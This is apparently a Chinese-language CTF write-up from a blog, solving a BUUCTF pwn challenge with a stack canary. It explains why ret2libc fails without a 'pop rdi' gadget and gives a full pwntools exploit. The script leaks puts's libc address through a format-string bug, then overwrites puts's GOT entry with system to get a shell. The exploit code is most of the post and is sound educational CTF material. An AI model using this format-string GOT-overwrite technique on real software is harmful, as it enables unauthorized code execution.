还是先看一下保护情况
开了canary,接着看主函数逻辑
看到这里的代码逻辑,我一开始是想通过printf泄露出canary的值,然后再用ret2libc来打,但是我发现这个libc不好泄露,一般的泄露的思路都是构造ROP,通过puts函数泄露出puts的got表内容,但是我在寻找rdi这个gadget的时候,是找不到的
这也直接将这个方法堵死了,后面发现可以通过格式化字符串漏洞泄露出libc基地址,exp如下:
from pwn import * elf=ELF('./pwn') io=remote("node4.buuoj.cn",28755) context(os='linux',arch='amd64',log_level='debug')puts_got=elf.got['puts'] io=remote("node4.buuoj.cn",28755) io.recvuntil(b"gift?(0/1)\n") io.sendline(str(1)) io.recvuntil(b"What's it\n") payload=b'AAAA%9$s'+p64(puts_got) 这里是关键,%9$s可以打印puts_got表对应的值,即puts函数地址,'AAAA%9$s'是为了构造八字节,格式化字符串的第八个参数 io.send(payload) puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) print(hex(puts_addr))
libc=ELF('./libc.so.6') base=puts_addr-libc.sym['puts'] system_addr=base+libc.sym['system']
io.recvuntil(b"gift?(0/1)\n") io.sendline(str(1)) io.recvuntil(b"What's it\n") payload2=fmtstr_payload(8,{puts_got:system_addr}) io.send(payload2)
io.interactive() 标签:addr,puts,--,libc,io,got,recvuntil From: https://www.cnblogs.com/GGbomb/p/17872974.html